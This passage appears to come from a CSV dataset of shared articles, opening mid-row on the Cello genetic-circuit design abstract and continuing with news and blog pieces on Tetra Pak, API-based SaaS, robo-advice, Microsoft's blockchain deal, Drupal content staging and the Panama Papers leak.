circuits by drawing upon a library of Boolean logic gates. Here, the gate technology consists of NOT/NOR logic based on repressors. Gate connection is simplified by defining the input and output signals as RNA polymerase (RNAP) fluxes. We found that the gates need to be insulated from their genetic context to function reliably in the context of different circuits. Each gate is isolated using strong terminators to block RNAP leakage, and input interchangeability is improved using ribozymes and promoter spacers. These parts are varied for each gate to avoid breakage due to recombination. Measuring the load of each gate and incorporating this into the optimization algorithms further reduces evolutionary pressure.Cello was applied to the design of 60 circuits for Escherichia coli, where the circuit function was specified using Verilog code and transformed to a DNA sequence. The DNA sequences were built as specified with no additional tuning, requiring 880,000 base pairs of DNA assembly. Of these, 45 circuits performed correctly in every output state (up to 10 regulators and 55 parts). Across all circuits, 92\% of the 412 output states functioned as predicted.CONCLUSIONOur work constitutes a hardware description language for programming living cells. This required the co-development of design algorithms with gates that are sufficiently simple and robust to be connected by automated algorithms. We demonstrate that engineering principles can be applied to identify and suppress errors that complicate the compositions of larger systems. This approach leads to highly repetitive and modular genetics, in stark contrast to the encoding of natural regulatory networks. The use of a hardware-independent language and the creation of additional UCFs will allow a single design to be transformed into DNA for different organisms, genetic endpoints, operating conditions, and gate technologies.Genetic programming using Cello.A user specifies the desired circuit function in Verilog code, and this is transformed into a DNA sequence. An example circuit is shown (0xF6); red and blue curves are predicted output states for populations of cells, and solid black distributions are experimental flow cytometry data. The outputs are shown for all combinations of sensor states; plus and minus signs indicate the presence or absence of input signal. RBS, ribosome binding site; RPU, relative promoter unit; YFP, yellow fluorescent protein.Computation can be performed in living cells by DNA-encoded circuits that process sensory information and control biological functions. Their construction is time-intensive, requiring manual part assembly and balancing of regulator expression. We describe a design environment, Cello, in which a user writes Verilog code that is automatically transformed into a DNA sequence. Algorithms build a circuit diagram, assign and connect gates, and simulate performance. Reliable circuit design requires the insulation of gates from genetic context, so that they function identically when used in different circuits. We used Cello to design 60 circuits for Escherichia coli (880,000 base pairs of DNA), for which each DNA sequence was built as predicted by the software with no additional tuning. Of these, 45 circuits performed correctly in every output state (up to 10 regulators and 55 parts), and across all circuits 92\% of the output states functioned as predicted. Design automation simplifies the incorporation of genetic circuits into biotechnology projects that require decision-making, control, sensing, or spatial organization. @Article{Nielsenaac7341, Title = {Genetic circuit design automation}, Author = {Nielsen, Alec A. K. and Der, Bryan S. and Shin, Jonghyeon and Vaidyanathan, Prashant and Paralanov, Vanya and Strychalski, Elizabeth A. and Ross, David and Densmore, Douglas and Voigt, Christopher A.}, Journal = {Science}, Year = {2016}, Number = {6281}, Volume = {352}, Abstract = {As synthetic biology techniques become more powerful, researchers are anticipating a future in which the design of biological circuits will be similar to the design of integrated circuits in electronics. Nielsen et al. describe what is essentially a programming language to design computational circuits in living cells. The circuits generated on plasmids expressed in Escherichia coli required careful insulation from their genetic context, but primarily functioned as specified. The circuits could, for example, regulate cellular functions in response to multiple environmental signals. Such a strategy can facilitate the development of more complex circuits by genetic engineering.Science, this issue p. 10.1126/science.aac7341INTRODUCTIONCells respond to their environment, make decisions, build structures, and coordinate tasks. Underlying these processes are computational operations performed by networks of regulatory proteins that integrate signals and control the timing of gene expression. Harnessing this capability is critical for biotechnology projects that require decision-making, control, sensing, or spatial organization. It has been shown that cells can be programmed using synthetic genetic circuits composed of regulators organized to generate a desired operation. However, the construction of even simple circuits is time-intensive and unreliable.RATIONALEElectronic design automation (EDA) was developed to aid engineers in the design of semiconductor-based electronics. In an effort to accelerate genetic circuit design, we applied principles from EDA to enable increased circuit complexity and to simplify the incorporation of synthetic gene regulation into genetic engineering projects. We used the hardware description language Verilog to enable a user to describe a circuit function. The user also specifies the sensors, actuators, and {\textquotedblleft}user constraints file{\textquotedblright} (UCF), which defines the organism, gate technology, and valid operating conditions. Cello (www.cellocad.org) uses this information to automatically design a DNA sequence encoding the desired circuit. This is done via a set of algorithms that parse the Verilog text, create the circuit diagram, assign gates, balance constraints to build the DNA, and simulate performance.RESULTSCello designs circuits by drawing upon a library of Boolean logic gates. Here, the gate technology consists of NOT/NOR logic based on repressors. Gate connection is simplified by defining the input and output signals as RNA polymerase (RNAP) fluxes. We found that the gates need to be insulated from their genetic context to function reliably in the context of different circuits. Each gate is isolated using strong terminators to block RNAP leakage, and input interchangeability is improved using ribozymes and promoter spacers. These parts are varied for each gate to avoid breakage due to recombination. Measuring the load of each gate and incorporating this into the optimization algorithms further reduces evolutionary pressure.Cello was applied to the design of 60 circuits for Escherichia coli, where the circuit function was specified using Verilog code and transformed to a DNA sequence. The DNA sequences were built as specified with no additional tuning, requiring 880,000 base pairs of DNA assembly. Of these, 45 circuits performed correctly in every output state (up to 10 regulators and 55 parts). Across all circuits, 92\% of the 412 output states functioned as predicted.CONCLUSIONOur work constitutes a hardware description language for programming living cells. This required the co-development of design algorithms with gates that are sufficiently simple and robust to be connected by automated algorithms. We demonstrate that engineering principles can be applied to identify and suppress errors that complicate the compositions of larger systems. This approach leads to highly repetitive and modular genetics, in stark contrast to the encoding of natural regulatory networks. The use of a hardware-independent language and the creation of additional UCFs will allow a single design to be transformed into DNA for different organisms, genetic endpoints, operating conditions, and gate technologies.Genetic programming using Cello.A user specifies the desired circuit function in Verilog code, and this is transformed into a DNA sequence. An example circuit is shown (0xF6); red and blue curves are predicted output states for populations of cells, and solid black distributions are experimental flow cytometry data. The outputs are shown for all combinations of sensor states; plus and minus signs indicate the presence or absence of input signal. RBS, ribosome binding site; RPU, relative promoter unit; YFP, yellow fluorescent protein.Computation can be performed in living cells by DNA-encoded circuits that process sensory information and control biological functions. Their construction is time-intensive, requiring manual part assembly and balancing of regulator expression. We describe a design environment, Cello, in which a user writes Verilog code that is automatically transformed into a DNA sequence. Algorithms build a circuit diagram, assign and connect gates, and simulate performance. Reliable circuit design requires the insulation of gates from genetic context, so that they function identically when used in different circuits. We used Cello to design 60 circuits for Escherichia coli (880,000 base pairs of DNA), for which each DNA sequence was built as predicted by the software with no additional tuning. Of these, 45 circuits performed correctly in every output state (up to 10 regulators and 55 parts), and across all circuits 92\% of the output states functioned as predicted. Design automation simplifies the incorporation of genetic circuits into biotechnology projects that require decision-making, control, sensing, or spatial organization.}, DOI = {10.1126/science.aac7341}, Eprint = { }, ISSN = {0036-8075}, Publisher = {American Association for the Advancement of Science}, URL = { } } P. Vaidyanathan, B. S. Der, S. Bhatia, N. Roehner, R. Silva, C. A. Voigt, and D. Densmore, ""A framework for genetic logic synthesis,"" Proceedings of the ieee, vol. 103, iss. 11, pp. 2196-2207, 2015. doi:10.1109/JPROC.2015.2443832 [BibTeX] @Article{vaidyanathanframework, Title = {A Framework for Genetic Logic Synthesis}, Author = {Vaidyanathan, P. and Der, B.S. and Bhatia, S. and Roehner, N. and Silva, R. and Voigt, C.A. and Densmore, D.}, Journal = {Proceedings of the IEEE}, Year = {2015}, Number = {11}, Pages = {2196-2207}, Volume = {103}, DOI = {10.1109/JPROC.2015.2443832}, ISSN = {0018-9219}, Keywords = {Crosstalk;DNA;Encoding;Logic gates;Proteins;RNA;Boolean;digital;genetic;logic;synthesis;synthetic biology;transcription} }",en
1459854898,CONTENT SHARED,-450825503558460924,-8860671864164757449,-1775768409981783336,,,,HTML,http://www.dairyreporter.com/Processing-Packaging/Tetra-Pak-Cheese-and-Powder-Systems-acquires-Laude,Tetra Pak Cheese and Powder Systems acquires Laude,"Tetra Pak has acquired Laude, which designs, develops and manufactures plastic moulds for hard and semi-hard cheese. The deal was completed last week (March 31) and the company will be a part of Tetra Pak Cheese and Powder Systems division. Laude to expand globally Tim High, executive VP, Processing Systems, Tetra Pak, told Dairy Reporter, following the acquisition it will offer even more cheese lines and extend the availability of Laude products in the global market. He said Tetra Pak today has a number of technology for cheese manufacturing - from milk preparation to final cheese products, including whey treatment. "" We aim to have a portfolio of products and services that meet the needs of every step in cheese manufacturing and covering a wide variety of cheese types ,"" he added. "" Laude sells products globally but the focus has been in Europe. With Tetra Pak's business presence in more than 170 countries, Laude products can now reach customers globally ."" Cheese draining and forming equipment Laude will continue to focus on cheese mould, as well as designing and producing specialized plastic components used in cheese draining and forming equipment. High said its products and services are complementary to its existing business, with no overlap in product portfolio or manufacturing. "" Laude is a leader in moulds for hard and semi-hard cheese, and we see growth opportunities in all markets where such cheese are produced ,"" he said. Laude, based in Ter Apel, The Netherlands, has 38 employees, and will remain in its current location under the leadership of its managing director, Auke Rienks and his existing team. He said thanks to the acquisition the company 'sees an exciting opportunity for international growth' through Tetra Pak, particularly outside of Europe, where its focus has been in the past. "" The driving force behind the acquisition is to complement Tetra Pak's portfolio of cheese production equipment and to expand our resources and capabilities to serve our customers ,"" added Rienks.",en
1459855662,CONTENT SHARED,6042459843569845586,-108842214936804958,4396691925401735068,,,,HTML,https://medium.com/recurring-revenue/the-rise-of-the-api-based-saas-321b7c4f8467,The Rise of the API-based SaaS,"The Rise of the API-based SaaS We're entering a new age of enterprise cloud-based products. An age that empowers developers and creates the building blocks for the future of internet-based software. But this new breed of faceless product doesn't come without a new set of challenges... We've come a long way Enterprise software has seen a number of key shifts in the way that it's built, distributed and consumed. From the days of on-premise hosted solutions, with bespoke code and teams of consultants required for efficient operation, through to today's cloud-based solutions with a focus on great user experience, next-to-no onboarding effort and far more flexible pricing for customers. But just as the world is waking up to the importance of design and user experience in enterprise products - arguably years after the consumer market saw the same evolution - there is a new breed of B2B solution, which ditches the visual user experience altogether - the API-based SaaS. What is API-based SaaS? There are a few, rather hard-to-miss features of such a service: There is NO user interface (GUI). Or in some cases, there is a GUI but it's secondary to the core product. Interaction with the service is through a web-based API - a programmatic way of connecting services and transferring data across the web in a machine-readable way. The value of the service is usually in the data that's delivered (through the API). Pricing is often usage-based, meaning that the cost is based on the number of requests made to the API. Some examples Clearbit Clearbit is building a collection of Business Intellgence APIs with the goal of becoming the BI backend for many businesses. As with most API-based products, the value is in the data that Clearbit provides, through a simple, easy-to-consume interface. Listen to the latest episode of SaaS Open Mic , a podcast dedicated to sharing the stories of SaaS founders and thought leaders. In this episode I chatted with Clearbit Co-Founder and CEO Alex MacCaw, on why he believes API-based products are set to become the next generation of enterprise software: Contentful Contentful is a new breed of CMS which is built for the multi-device world we live in today, unlike many 'traditional' CMS products. How does it manage that? Through an API, of course! The Contentful team have stripped away much of the complexity around managing content in a device-agnostic space. What are the benefits for vendors? API-based products are sticky Once integrated into your platform, there is a very real 'pain' in stripping out the functionality and replacing it, either with another product or with your own business logic (that will inevitably need to be developed by your engineering team). This could mean that, even in the case where a cheaper (or functionally superior) solution exists, there still may not be enough of an incentive to make the switch to such a competitor. More focus on the value provided It's very difficult to add 'marketing fluff' around an API-based product. Consequently, it's much easier for customers to clearly see the value that the solution is adding to their business, particularly when the solution is simply providing them with some data. Designing the perfect UI Accommodating multiple browsers and screen sizes Creating in-app onboarding & tutorials Building a native mobile app Easier to build & maintain If you're building an API-based SaaS product, there are some key things you don't need to consider, for example: Of course, that's not to say that everything is easier with an API (see the challenges below), but you have a great opportunity to run a largely simplified software stack that can scale to a large amount of requests. The customer can apply their own user experience Businesses consuming your API can have a much greater level of control over how that functionality is delivered to the user. They can brand it in a way that matches their creative vision for the product - leading to an overall more consistent experience. What are some challenges? Onboarding If the goal of your onboarding is to get your customers to their ""Aha moment"" as quickly as possible, this can be challenging when the customer is required to spend development time on integrating your API before that can happen. There's much more risk of poisoning the onboarding experience. I spoke to Sascha Konietzke, CEO at Contentful, to get his take on some of the challenges of building and growing an API-based product, particularly when onboarding customers. Here's what he had to say: Clearbit provides pre-built integrations with Google Sheets, Close.io, Salesforce, Marketo and Slack. One common strategy for getting around the challenges of onboarding is to offer a set of integrations with existing platforms. This is especially useful where there is a fairly common set of use cases for the API, and they involve integrating with an existing service. You're essentially doing the work (of building the integrations), so that your customers don't have to. The end result is often a 'one-click' connection rather than weeks of development and testing. Longer sales cycles This is directly tied to the difference in Onboarding. Persuading a customer to commit to integrating an API and fitting the required work into their development cycle is clearly a higher barrier than getting them to click sign up in a polished user interface, and enter their payment details. You'll also need to think about extending your trial period to account for the increased effort in onboarding. Pricing - Less flexibility Contentful is priced based on the amount of data entries you store with them, and the number of requests you make to their API. You'll have significantly fewer options for pricing your service. Typically with data-oriented services, you'll see scalable volume-based pricing, i.e. on the number of requests you make to the API. When products are unboxed into API-based micro-services, you'll find it difficult to scale pricing based on features or other factors. On the plus side, instead of one product with lots of different pricing dimensions, you'll be left with a set of smaller products, each with their own, more simple pricing structure. It's a great way to let your customers pick and choose the different parts of your solution they'll need, and only pay for what's valuable to them. Marketing - It's not at all visual Twilio goes all-out with developer conferences, swag and an awesome knowledge base of code samples and interactive integration guides to win over the hearts of developers. Marketing a SaaS product is a lot about finding ways to convey (and visualize) the value of your solution to the target customer. Even your product has a highly visual, well-designed UI, that job isn't easy at the best of times. But remove that UI entirely and you're left with next to no way to really show the product to your target customers. The solution? You have to find a way to visualize the value that the product delivers, rather than the product itself. You're also likely to be marketing not only to business owners and decision-makers, but also to developers - they'll be the ones faced with the task of integrating your API. You've got to win over both of these parties if you really want to sell your product. So should I 'unbox' elements of my SaaS product into an API? So it's fairly clear that there are great benefits to both selling and consuming API-based products. But what if you already offer a 'full-scale' SaaS solution, should you consider offering parts of this as standalone services? Here are a few questions you should consider first. Are there areas of my product that could be broken out into smaller, standalone services? Are there small areas of your product that deliver some isolated value to your customers? These are prime candidates for unboxing and offering separately, through an API. Is the value of my product tied to the data it provides? If the answer is ""yes"", you might want to consider giving access to this data programatically (through an API), and enabling customers to build platforms and services on top of your data. Is my product often used as a core part of my customers' solutions? If this is the case and you see businesses building additional value on top of your solution, they might be able to do this more easily if you offer this part of your product through an API. The Holy Grail of many SaaS businesses is to become a platform or an ecosystem - You only have to look at the Salesforce AppExchange to see that this unlocks a world of possibilities. In conclusion: These are the building blocks of the future Use API SaaS A for my email Use API SaaS B for my support Use API SaaS C for my business intelligence And so on... The movement towards SaaS businesses delivering value through an API might not appear to be something huge, in the grand scheme of things. There will always be a need for products and services that can be used by humans, with some form of interface through which they can interact (even though there are subtle changes in that space, with strong growth in instant messaging-based apps). Launch their product more quickly Add pieces of advanced functionality without in-house expertise (e.g. machine learning) Evaluate the cost of their service more predictably Scale more reliably However, when the 'next generation' startup approaches the mammoth task of building their product with limited funding and time, there will be a new option on the table for them: And there we have the new generation SaaS, built using the building blocks of a range of existing API-based services, that can: We're already starting to see this, even with some more well-established startups. But it's likely that we'll see it to a greater extent in the coming years, as more and more pieces of functionality are suitable for 'outsourcing' through an API. The only question that remains is ""what, if anything, will still be built from scratch in 5 years?""",en
1459855973,CONTENT SHARED,-1024046541613287684,4340306774493623681,8614897367681852911,,,,HTML,http://bitcoinist.net/australian-bitcoin-entrepreneur-launches-robo-advice-platform/,Australian Bitcoin Entrepreneur Launches Robo-Advice Platform,"It is no secret bitcoin entrepreneurs and startups have a vested interest in disrupting the financial system as we know and use it to this very day. Although not everyone may know the name Zhenya Tsvetnenko, this Australian Bitcoin entrepreneur has joined forces with David Pettit to form a new robo-advice platform. Also read: OB1's Washington Sanchez Speaks about OB Release FinTech and Bitcoin Collide For New Robo-Advice Platform People active in the world of financial news may have heard the term robo-advice before, as it seems to be one of the hottest trends in right now. Especially the millennials demographic is looking for financial advice, but they are not comfortable with just relying on the information given to them by banks and other financial institutions. When a entrepreneur and a financial planner come together to create a new robo-advice service, exciting things are bound to happen. Future Penny , as this platform is called, was founded half a year ago, and both co-founders invested in the project themselves. Additionally, thanks to some external financial aid, the company has secured US$500,000 in funding to get the ball rolling. Considering how robo-advice platforms offer financial advice to its users through algorithms, it is not surprising a Bitcoin entrepreneur would be looking to get involved in such a project. Investments are just one part of the financial advice being given, though, as there is also a lot of focus on budgeting, insurance, and estate planning. Bitcoin entrepreneur Zhenya Tsvetnenko has quite a lot of experience in the financial world, as he is the founder and director of DigitalX [ASX: DCC} and Mpire [ASX: TMP]. Some people may remember DigitalX - formerly known as Digital CC - as it is listed on the Australian Securities Exchange for public trading. Future Penny co-Founder David Pettit stated: ""The financial services industry continues to be led by product, rather than the best interests of the consumer. Existing robo-advice offerings are essentially designed to sell a product, while Future Penny is a platform for guided decision-making."" Similar to other companies trying to branch out into the world of Bitcoin and FInTech, Future Penny will face a challenge in attracting clients. Although the concept of a robo-advice platform is quite appealing, and the company is already in talks with three ""top tier"" firms, there is a lot of competition in this market. Keeping in mind how the platform will also give investment advice, it will be interesting to see whether or not it makes any mention of Bitcoin at some point. What are your thoughts on this new robo-advice service? Should it take Bitcoin into account for investing purposes? Let us know in the comments below! Images courtesy of StartupDaily, Shutterstock Jp Buntinx JP Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world. In other notes, Jean-Pierre is an active member of the Belgian Bitcoin Association, and occasionally attends various Bitcoin Meetups in Ghent and Brussels 4 April 2016 - Openbazaar has been moved to the main bitcoin network, and is officially open for business. You ca... The Bitcoin Core Sponsorship Programme has recently been announced, which is dedicated of foster innovation in the ... As our society evolves into a new form of community where there is a larger focus on local efforts, major companies...",en
1459856119,CONTENT SHARED,3068975614432538771,4340306774493623681,8614897367681852911,,,,HTML,http://www.bloomberg.com/news/articles/2016-04-04/microsoft-strikes-partnership-with-banks-on-blockchain-tech,Microsoft Strikes Partnership With Banks on Blockchain Tech,"Microsoft Inc. has pulled ahead of Alphabet Inc.'s Google, International Business Machines Corp., and Amazon.com Inc. in the race for supremacy in operating other companies' blockchains. Microsoft and R3, a consortium of 43 financial institutions, have formed a strategic partnership to accelerate the use of the blockchain technologies. Microsoft Chief Executive Officer Satya Nadella announced the deal at the company's Envision conference Monday. Blockchains -- basically online ledgers for recording transactions -- first gained popularity with the digital currency bitcoin. But now financial institutions are experimenting with them as well to run their businesses more efficiently. The first commercial deployments of the blockchain could go live in about a year, David Rutter, CEO of R3, said in an interview, adding that it's ""three to five years until significant commercial adoption."" In preparation, providers of cloud-based services that can run blockchain software for other companies are already jockeying for an early lead. But Microsoft's preferred vendor relationship with R3 could give it a leg up in winning business from banks. ""Microsoft continues to take a leadership position in integrating blockchain technology into its product roadmap,"" said Gil Luria, an analyst at Wedbush Securities. ""The relationship with R3 provides Microsoft access to R3's high-quality collection of the largest banks in the world, which is the most likely group to make early investments in implementing blockchain technology."" Microsoft will first provide its cloud services and tools to R3 labs worldwide. And as R3 member companies -- which include Barclays Plc, Credit Suisse Group AG, Wells Fargo Securities LLC and UBS Group AG -- begin their blockchain deployments, Microsoft hopes to win their business, too. ""The R3 partnership will help us to see what technology actually works, what combination actually works,"" Marley Gray, director of technology strategy at Microsoft, said in an interview. ""It actually increases our focus here at our highest levels. We see it as a tremendous investment for Microsoft."" Microsoft is dedicating a team of five people to the project, but ""it could scale up to 50,"" Gray said. R3 will ""have half our staff touch this project at one point or another,"" Rutter said. R3 has 52 employees and continues hiring lab and research staff. Rivals like IBM aren't asleep at the wheel, either. IBM is a part of the Hyperledger Project, an effort to standardize the blockchain technology for various industries. ""It's certainly a feather in Microsoft's cap, marquee banks lining up to run their blockchain projects on Azure,"" said Roger Kay, president of Endpoint Technologies Associates Inc. ""It's probably more important from a prestige than from a revenue point of view, at least in the near term.""",en
1459857330,CONTENT SHARED,-4463029741564307314,692689608292948411,-4520425844839473554,,,,HTML,http://buytaert.net/improving-drupal-content-workflow,Dries Buytaert,"At DrupalCon Mumbai I sat down for several hours with the Drupal team at Pfizer to understand the work they have been doing on improving Drupal content management features. They built a set of foundational modules that help advance Drupal's content workflow capabilities; from content staging, to multi-site content staging, to better auditability, offline support, and several key user experience improvements like full-site preview, and more. In this post, I want to point a spotlight on some of Pfizer's modules, and kick-off an initial discussion around the usefulness of including some of these features in core. Use cases Before jumping to the technical details, let's talk a bit more about the problems these modules are solving. Cross-site content staging - In this case you want to synchronize content from one site to another. The first site may be a staging site where content editors make changes. The second site may be the live production site. Changes are previewed on the stage site and then pushed to the production site. More complex workflows could involve multiple staging environments like multiple sites publishing into a single master site. Content branching - For a new product launch you might want to prepare a version of your site with a new section on the site featuring the new product. The new section would introduce several new pages, updates to existing pages, and new menu items. You want to be able to build out the updated version in a self-contained 'branch' and merge all the changes as a whole when the product is ready to launch. In an election case scenario, you might want to prepare multiple sections; one for each candidate that could win. Preview your site - When you're building out a new section on your site for launch, you want to preview your entire site, as it will look on the day it goes live. This is effectively content staging on a single site. Offline browse and publish - Here is a use-case that Pfizer is trying to solve. A sales rep goes to a hospital and needs access to information when there is no wi-fi or a slow connection. The site should be fully functional in offline mode and any changes or forms submitted, should automatically sync and resolve conflicts when the connection is restored. Content recovery - Even with confirmation dialogs, people delete things they didn't want to delete. This case is about giving users the ability to ""undelete"" or recover content that has been deleted from their database. Audit logs - For compliance reasons, some organizations need all content revisions to be logged, with the ability to review content that has been deleted and connect each action to a specific user so that employees are accountable for their actions in the CMS. Technical details All these use cases share a few key traits: Content needs to be synchronized from one place to another, e.g. from workspace to workspace, from site to site or from frontend to backend Full revision history needs to be kept Content revision conflicts needs to be tracked Much of this started as a single module: Deploy . The Deploy module was first created by Greg Dunlap for Drupal 6 in 2008. In 2012, Greg handed over maintainership to Dick Olsson who created the first Drupal 7 version (7.x-2.x) with many big improvements. Later, Dave Hall created a second Drupal 7 version (7.x-3.x) which more significant improvements based on feedback from different users. Today, both Dick and Dave work at Pfizer and have continued to include lessons learned in the Drupal 8 version of the module. After years of experience working on Deploy module and various redesigns, the team has extracted the functionality in a set of modules: Multiversion This module does three things: (1) it adds revision support for all content entities in Drupal, not just nodes and block content as provided by core, and (2) it introduces the concept of parent revisions so you can create different branches of your content or site, and (3) it keeps track of conflicts in the revision tree (e.g. when two revisions share the same parent). Many of these features complement the ongoing improvements to Drupal's Entity API . Replication Built on top of Multiversion module, this lightweight module reads revision information stored by Multiversion, and uses that to determine what revisions are missing from a given location and lets you replicate content between a source and a target location. The next two modules, Workspace and RELAXed Web Services depend on replication module. Workspace This module enables single site content staging and full-site previews. The UI lets you create workspaces and switch between them. With Replication module different workspaces on the same site can behave like different editorial environments. RELAXed Web Services This module facilitates cross-site content staging. It provides a more extensive REST API for Drupal with support for UUIDs, translations, file attachments and parent revisions - all important to solve unique challenges with content staging (e.g. UUID and revision information is needed to resolve merge conflicts). The RELAXed Web Services module extends the Replication module and makes it possible to replicate content from local workspaces to workspaces on remote sites using this API. In short, Multiversion provides the ""storage plumbing"", whereas Replication, Workspace, and RELAXed Web Services, provide the ""transport plumbing"". Deploy Historically Deploy module has taken care of everything from bottom to top related to content staging. But for Drupal 8 Deploy has been rewritten to just provide a UI on-top of the Workspace and Replication modules. This UI lets you manage content deployments between workspaces on a single site, or between workspaces across sites (if used together with RELAXed Web Services module). The maintainers of the Deploy module have put together a marketing site with more details on what it does: . Trash To handle use case #5 (content recovery) the Trash module was implemented to restore entities marked as deleted. Much like a desktop trash or recycle bin, the module displays all entities from all supported content types where the default revision is flagged as deleted. Restoring creates a newer revision, which is not flagged as deleted. Synchronizing sites with a battle-tested API When a Drupal site installs and enables RELAXed Web Services it will look and behave like the REST API from CouchDB . This is a pretty clever trick because it enables us to leverage the CouchDB ecosystem of tools. For example, you can use PouchDB , a JavaScript implementation of CouchDB, to provide a fully-decoupled offline database in the web browser or on a mobile device. Using the same API design as CouchDB also gives you ""streaming replication"" with instant updates between the backend and frontend. This is how Pfizer implements off-line browse and publish. This animated gif shows how a content creator can switch between multiple workspaces and get a full-site preview on a single site. In this example the Live workspace is empty, while there has been a lot of content addition on the Stage workspace in. This animated gif shows how a workspace is deployed from 'Stage' to 'Live' on a single site. In this example the Live workspace is initially empty. Conclusion Drupal 8.0 core packed many great improvements, but we didn't focus much on advancing Drupal's content workflow capabilities. As we think about Drupal 8.x and beyond, it might be good to move some of our focus to features like content staging, better audit-ability, off-line support, full-site preview, and more. If you are a content manager, I'd love to hear what you think about better supporting some or all of these use cases. And if you are a developer, I encourage you to take a look at these modules, try them out and let us know what you think. Thanks to Tim Millwood and Dick Olsson for their feedback on the blog post. Special thanks to Pfizer for contributing to Drupal.",en
1459857472,CONTENT SHARED,-7298164314968527788,-8020832670974472349,9015885220732535618,,,,HTML,http://www.wired.com/2016/04/reporters-pulled-off-panama-papers-biggest-leak-whistleblower-history/,"How Reporters Pulled Off the Panama Papers, the Biggest Leak in Whistleblower History","When Daniel Ellsberg photocopied and leaked the Pentagon Papers to the New York Times in 1971, those 7,000 pages of top secret Vietnam War documents represented what were then the biggest whistleblower leak in history-a couple dozen megabytes if it were contained in a modern text file. Almost four decades later, WikiLeaks in 2010 published Cablegate, a world-shaking, 1.73 gigabyte collection of classified State Department communications that was almost a hundred times bigger. If there's some Moore's Law of Leaks, however, it seems to be exponential. Just five years have passed since WikiLeaks' Cablegate coup, and now the world is grappling with a whistleblower megaleak on a scale never seen before: 2.6 terabytes, well over a thousandfold larger. On Sunday, more than a hundred media outlets around the world , coordinated by the Washington, DC-based International Consortium of Investigative Journalists , released stories on the Panama Papers, a gargantuan collection of leaked documents exposing a widespread system of global tax evasion. The leak includes more than 4.8 million emails, 3 million database files, and 2.1 million PDFs from the Panamanian law firm Mossack Fonseca that, according to analysis of the leaked documents, appears to specialize in creating shell companies that its clients have used to hide their assets. ""This is pretty much every document from this firm over a 40-year period,"" ICIJ director Gerard Ryle told WIRED in a phone call, arguing that at ""about 2,000 times larger than the WikiLeaks state department cables,"" it's indeed the biggest leak in history. The source warned that his or her ""life is in danger"" and was only willing to communicate via encrypted channels and couldn't meet in person. Neither the ICIJ nor any of the reporters it's worked with have made the leaked data public. But the scandal resulting from their reporting has already touched celebrities, athletes, business executives and world leaders. The documents trace $2 billion of hidden money tied to Vladimir Putin through accounts held in the names of family members and his celebrated musician friend Sergei Roldugin. Icelandic Prime Minister Sigmundur Gunnlaugsson is facing demands from the previous Icelandic prime minister that he resign after the Mossack Fonseca documents showed that Gunnlaugsson may have failed to disclose ownership of a stake in certain Icelandic banks under the government's rules for officials. And the leaks drag FIFA officials back into the news, showing that even an ethics lawyer for the world soccer body had financial ties to another FIFA official already accused of corruption . But beyond those revelations-and there will likely be more as the reporting around the Panama Papers continues-the leak represents an unprecedented story in itself: How an anonymous whistleblower was able to spirit out and surreptitiously send journalists a gargantuan collection of files, which were then analyzed by more than 400 reporters in secret over more than a year before a coordinated effort to go public. How You Coordinate History's Biggest Leak The Panama Papers leak began, according to ICIJ director Ryle, in late 2014, when an unknown source reached out to the German newspaper Suddeutsche Zeitung, which had reported previously on a smaller leak of Mossack Fonseca files to German government regulators. A Suddeutsche Zeitung reporter named Bastian Oberway says that the source contacted him via encrypted chat, offering some sort of data intended ""to make these crimes public."" But the source warned that his or her ""life is in danger"" and was only willing to communicate via encrypted channels and couldn't meet in person. ""How much data are we talking about?"" Obermayer asked. ""More than you have ever seen,"" the source responded, according to Obermayer. Obermayer tells WIRED he communicated with his source over a series of encrypted channels that they frequently changed, each time deleting all history from their prior exchange. He alludes to crypto apps like Signal and Threema, as well as PGP-encrypted email but declines to say specifically which methods they used. Each time the reporter and source re-established a connection, they would use a known question and answer to reauthenticate each other. ""I'd say 'is it sunny?' you'd say 'the moon is raining' or whatever nonsense, and then both of us can verify it's still the other person on the device,"" Obermayer says. After seeing a portion of the documents, Suddeutsche Zeitung contacted the ICIJ, which had helped to coordinate previous tax haven megaleaks including a 2013 analysis of leaked offshore tax haven data and another leak-enabled investigation last year that focused on assets protected by the Swiss bank HSBC . ICIJ staff flew to Germany to coordinate with Suddeutsche Zeitung reporters. Meanwhile, the shipments of leaked data continued piecemeal. ""Over time we got more and more until we had all 11.5 million documents,"" Ryle says. Obermayer declined to explain how their leaker sent Suddeutsche Zeitung hundreds of gigabytes or even terabytes of information at a time. That's far too much to send over email, of course. though that quantity of data could easily be sent anonymously in the form of shipped encrypted hard drives. ""I learned a lot about making the safe transfer of big files,"" Obermayer says elliptically. We're not WikiLeaks. We're trying to show that journalism can be done responsibly. ICIJ Director Gerard Ryle The ICIJ's developers then built a two-factor-authentication-protected search engine for the leaked documents, the URL for which they shared via encrypted email with scores of news outlets including the BBC, The Guardian , Vice, and dozens of foreign-language media outlets. The site even featured a real-time chat system, so that reporters could exchange tips and find translation for documents in languages they couldn't read. ""If you wanted to look into the Brazilian documents, you could find a Brazilian reporter,"" says Ryle. ""You could see who was awake and working and communicate openly. We encouraged everyone to tell everyone what they were doing."" The different media outlets eventually held their own in-person meetings, too, in Washington, Munich, London, Johannesburg and Lillehammer, Ryle says. Remarkably, despite all that broad access and openness, the full leaked database has yet to leak to the public-perhaps in part because it's so large and unwieldy. Obermayer admits that rumors of the massive leak spread, but says that the data itself remained contained. ""Last fall I was really nervous, thinking 'a lot of people know,'"" he says. ""Word leaked out at places. But it never got further."" Ryle says that the media organizations have no plans to release the full dataset, WikiLeaks-style, which he argues would expose the sensitive information of innocent private individuals along with the public figures on which the group's reporting has focused. ""We're not WikiLeaks. We're trying to show that journalism can be done responsibly,"" Ryle says. He says he advised the reporters from all the participating media outlets to ""go crazy, but tell us what's in the public interest for your country."" Weeks before contacting the subjects of the investigation, including Mossack Fonseca, Obermayer took one final precaution: he destroyed the phone and the hard drive of the laptop he'd used for his conversations with the source. ""This may have seemed a little overachieving,"" he notes, ""But better safe than sorry."" He notes that even now, he doesn't know who the source actually is. ""I don't know the name of the person or the identity of the person,"" Obermayer says. ""But I would say I know the person. For certain periods I talked to [this person] more than to my wife."" A New Era of Megaleaks The leaks are bound to cause ripples around the world-not least of all for Mossack Fonseca itself. The firm didn't respond to a request for comment from WIRED, but it wrote to the Guardian that ""many of the circumstances you cite are not and have never been clients of Mossack Fonseca"" and that ""we have always complied with international protocols ... to assure as is reasonably possible, that the companies we incorporate are not being used for tax evasion, money laundering, terrorist finance or other illicit purposes."" Another letter posted to WikiLeaks' Twitter feed, meanwhile, purports to show how the firm has responded to its own clients: ""Oops"" #PanamaPapers pic.twitter.com/ISwm6II4Hc - WikiLeaks (@wikileaks) 